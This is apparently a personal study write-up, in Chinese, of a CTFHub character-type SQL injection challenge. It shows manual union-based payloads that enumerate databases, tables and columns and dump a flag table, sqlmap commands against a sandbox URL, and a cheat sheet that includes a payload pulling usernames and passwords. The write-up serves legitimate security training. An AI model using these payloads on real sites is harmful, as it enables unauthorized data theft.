CTFHub个人学习记录
第三章:web前置技能-SQL注入-字符型注入
文章目录
- CTFHub个人学习记录
- 前言
- 一、解题过程
- 1.打开靶机,访问首页,按提示随便输入1,单引号闭合,1' and 1 = 2#报错无回显,观察判断有注入点如下图所示:
- 2.判断有多少列,3列无回显,2列有回显,说明有两列,如下图所示:
- 3.判断数据显示点,显示出登录用户和数据库名,如下图所示:
- 4.查看当前所有数据库,如下图所示:
- 5.查看当前数据库有哪些表,如下图所示:
- 6.发现这个flag表有些可疑,查看flag表中字段,但是并没有回显,把flag这个表名转成16进制再试一次,如下图所示:
- 7.查看flag字段数据信息,得到此题flag,提交即可如下图所示:
- 1.查看所有数据表,得到两个数据表即flag和news,如下图所示:
- 2.获取flag表中所有字段,如下图所示:
- 3.获取flag字段中所有数据信息,如下图所示:
- 总结
前言
路漫漫其修远兮,吾将上下而求索。
本文涉及以下知识点,去引用文章学习即可:
链接: 我是一个知识点
链接: 我是一个知识点
链接: 我是一个知识点
链接: sqlmap下载点我
文章总结有我个人总结的一些知识点,希望对你有所帮助。
练习sql注入,推荐使用sql-labs这个靶场,我后续也会更新从开始搭建到攻略1-75关完整教程,早些关注上车哦。
一、解题过程
方法一:手工注入
1.打开靶机,访问首页,按提示随便输入1,单引号闭合,1’ and 1 = 2#报错无回显,观察判断有注入点如下图所示:
2.判断有多少列,3列无回显,2列有回显,说明有两列,如下图所示:
3.判断数据显示点,显示出登录用户和数据库名,如下图所示:
4.查看当前所有数据库,如下图所示:
-1' union select 1,group_concat(schema_name) from information_schema.schemata#
5.查看当前数据库有哪些表,如下图所示:
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
6.发现这个flag表有些可疑,查看flag表中字段,但是并没有回显,把flag这个表名转成16进制再试一次,如下图所示:
这个如果没显示用2:
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=flag#
2:
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167#
7.查看flag字段数据信息,得到此题flag,提交即可如下图所示:
-1' union select 1,group_concat(flag) from flag#
方法二:sqlmap
1.查看所有数据表,得到两个数据表即flag和news,如下图所示:
使用命令:
python sqlmap.py -u http://challenge-aea2d226b5b3a939.sandbox.ctfhub.com:10800/?id=1 --tables
2.获取flag表中所有字段,如下图所示:
使用命令:
python sqlmap.py -u http://challenge-aea2d226b5b3a939.sandbox.ctfhub.com:10800/?id=1 -T flag --columns
3.获取flag字段中所有数据信息,如下图所示:
使用命令:
python sqlmap.py -u http://challenge-aea2d226b5b3a939.sandbox.ctfhub.com:10800/?id=1 -T flag -C flag --dump
总结
大概思路和涉及的知识点
sql注入基本语句和手工注入流程:
#,–+,-- -代表后边忽略,常用与闭合
判断有多少列:
order by 4 -- -
判断数据显示点:
union select 1,2,3 -- -
显示出登录用户和数据库名:
union select 1,user(),database() -- -
查看数据库有哪些表:
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看对应表有哪些列:
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 – -
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
思路:
字符型注入点
网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin'
值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 '
我们需要将这些烦人的引号给处理掉。
sqlmap常用命令:
-u:用于get提交方式,后面跟注入的url网址
–level
–risk
–dbs:获取所有数据库
–tales:获取所有数据表
–columns:获取所有字段
–dump:打印数据
-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段
level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,
当>=3时检查user-agent和refereer
risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,
3会增加or语句的sql注入
当sqlmap运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数 id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。
SCHEMATA表:提供了当前MySQL实例中所有数据库信息, show databases结果取之此表。
TABLES表:提供了关于数据中表的信息。table_name
COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息。column_name
2、performance_schema库具有87张表。
MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。
3、mysql库是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
常用举例:在mysql.user表中修改root用户的密码
4、sys库具有1个表,100个视图。
sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
可以查询谁使用了最多的资源,哪张表访问最多等。